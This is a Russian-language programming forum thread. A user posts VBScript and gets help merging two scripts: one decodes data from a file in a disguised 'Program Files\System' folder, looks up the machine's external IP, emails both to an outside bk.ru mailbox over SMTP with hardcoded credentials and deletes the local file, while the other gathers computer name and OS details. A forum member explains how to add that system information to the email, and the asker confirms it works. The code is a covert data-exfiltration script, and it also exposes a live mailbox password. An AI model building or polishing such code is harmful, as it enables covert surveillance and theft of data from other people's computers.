|
|
Регистрация Восстановить пароль |
Повторная активизация e-mail |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
|
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу. Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста". Название темы слишком короткое или не отражает сути вашего вопроса. Тема исчерпала себя, помните, один вопрос - одна тема Прочитайте правила и заново правильно создайте тему. |
|
Опции темы | Поиск в этой теме |
27.02.2020, 20:10 | #1 |
Пользователь
Регистрация: 26.02.2020
Сообщений: 28
|
kvitaliy обращаюсь к Вам по направлению
Здравствуйте, kvitaliy, мне Вас порекомендовали, как профессионального программиста, можете мне помочь в одном вопросе?!Я очень надеюсь, что ВЫ не оставите это письмо безответным!
|
27.02.2020, 21:16 | #2 |
Участник клуба
Регистрация: 17.05.2011
Сообщений: 1,660
|
|
28.02.2020, 01:20 | #3 |
Участник клуба
Регистрация: 21.11.2007
Сообщений: 1,063
|
kvitaliy, перед тем как дискуссировать с индивидом oskol, прочтите тему по ссылке
>> Как обьеденить 2 кода в один
I am not a wizard, I am just learning.
|
28.02.2020, 06:25 | #4 |
Участник клуба
Регистрация: 17.05.2011
Сообщений: 1,660
|
Нет
|
28.02.2020, 09:31 | #5 |
Пользователь
Регистрация: 26.02.2020
Сообщений: 28
|
kvitaliy, мне нужна ваша помощь
Вопрос такой, как мне объеденить код №1 с кодом №2, но так чтобы на почту приходил смс в виде текста как и сам ip приходит.(ото она у меня приходит как вложение txt)
Set ADODBStream = CreateObject("ADODB.Stream") ADODBStream.Type = 2 ADODBStream.Charset = "Unicode" ADODBStream.Open() ADODBStream.LoadFromFile("C:\Progra m Files\System\id.txt") ' Тут исходный текст в Юникоде Text = ADODBStream.ReadText() ADODBStream.Close() ADODBStream.Charset = "windows-1251" ADODBStream.Open() ADODBStream.WriteText(Text) ADODBStream.SaveToFile "C:\Program Files\System\3.txt", 2 ' тут преобразованный в ASCII ADODBStream.Close() dim my_str, my_arr, index, list Set FSO = CreateObject("Scripting.FileSystemO bject") Set f = FSO.OpenTextFile("C:\Program Files\System\3.txt", 1) On Error Resume Next For i = 1 to 12 strn = f.ReadLine Next strn = Replace (strn, "(", "" ) strn = Trim (strn) my_arr = split( strn, ",") for each index in my_arr strn = "&H" & index list = list & CHR( strn) next f.Close Set f1 = fso.CreateTextFile("C:\Program Files\System\3.txt", True) f1.Write (list) f1.Close Const cdoSendUsingPort = 2 Const cdoBasic = 1 Const strConstPartOfSchema = "http://schemas.microsoft.com/cdo/configuration/" Dim strContent strContent = "" With WScript.CreateObject("Microsoft.XML HTTP") Do .open "GET", "http://ifconfig.me/ip", False .send strContent = .responseText if strContent >"" Then Exit Do WScript.Sleep 15000 ' 15 сек. задержки если нет Интр Loop until ( strContent > "" ) End With With WScript.CreateObject("CDO.Message") .From = "dostupmne@bk.ru" .To = "dostupdai@bk.ru" .Subject = "File [" & strSourceFile & "]" .TextBody = "External IP: " & strContent & vbCrLf & list .TextBodyPart.Charset = "windows-1251" With .Configuration.Fields .Item(strConstPartOfSchema & "smtpserver") = "smtp.mail.ru" .Item(strConstPartOfSchema & "sendusing") = cdoSendUsingPort .Item(strConstPartOfSchema & "smtpserverport") = 465 .Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic .Item(strConstPartOfSchema & "sendusername") = "dostupmne@bk.ru" .Item(strConstPartOfSchema & "sendpassword") = "123dfds" .Item(strConstPartOfSchema & "smtpusessl") = True .Update End With .Send End With Set f2 = FSO.GetFile("C:\Program Files\System\3.txt") ' Удалить файлы f2.Delete WScript.Quit 0 с кодом №2 FileOut = "Z:\Box_Out\fileout.txt" Set objWMI = GetObject("winMgmts:\\.\Root\CIMV2: Win32_OperatingSystem") Set colWMI = objWMI.Instances_ txt = "Компьютер:" + vbTab + vbTab + CreateObject("WScript.Network").Com puterName + vbCrLf For Each objOS In colWMI txt = txt + "Операционная система:" + vbTab + objOS.Caption + " " + objOS.Version + vbCrLf txt = txt + "Тип системы:" + vbTab + vbTab + objOS.OSArchitecture + vbCrLf Next ' MsgBox txt With CreateObject("Scripting.FileSystemO bject").CreateTextFile(FileOut, True) .Write txt .Close End With |
28.02.2020, 13:27 | #6 |
Участник клуба
Регистрация: 17.05.2011
Сообщений: 1,660
|
Текст кода не рабочий. Мне ошибки выискивать нет ни желания, ни времени.
Упакуйте ваш реально рабочий код, который .vbs в ZIP архив и в упакованном виде выкладывайте сюда. А если в дух словах, как сделать, что бы вместо файла отправлялся текст, то надо код 2 не в файл писать, а присоединить переменную txt к .TextBody из первого кода. Т.е. как то так : .TextBody = "External IP: " & strContent & vbCrLf & list & vbCrLf & txt Предварительно код 2 выполнить вначале, ну без всяких строк, которые отвечают за запись в файл, только это: Код:
|
28.02.2020, 23:14 | #7 |
Пользователь
Регистрация: 26.02.2020
Сообщений: 28
|
kvitaliy, вот выложил скрипт для тебя
kvitaliy, , высылаю вам скрипт весь код в архиве!
|
28.02.2020, 23:39 | #8 |
Участник клуба
Регистрация: 17.05.2011
Сообщений: 1,660
|
Вот так пробуй
|
29.02.2020, 10:54 | #9 |
Пользователь
Регистрация: 26.02.2020
Сообщений: 28
|
щас попробую и отпишусь
|
29.02.2020, 10:59 | #10 |
Пользователь
Регистрация: 26.02.2020
Сообщений: 28
|
kvitaliy, ты просто элитный программист!!!
Хочу сказать что все работает, все четко нет слов, вот что значит профи своего дело! Последний раз редактировалось oskol; 29.02.2020 в 11:02. |
|
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
kvitaliy, ты лучший, подскажи с этим кодом пожалуйста | adninistraotr | Безопасность, Шифрование | 7 | 20.12.2019 19:30 |
Обращаюсь к вам за советом. | dreams5555593 | Помощь студентам | 5 | 11.08.2013 10:25 |
Обращаюсь к выделенному меню | Ципихович Эндрю | Microsoft Office Word | 4 | 02.09.2011 15:21 |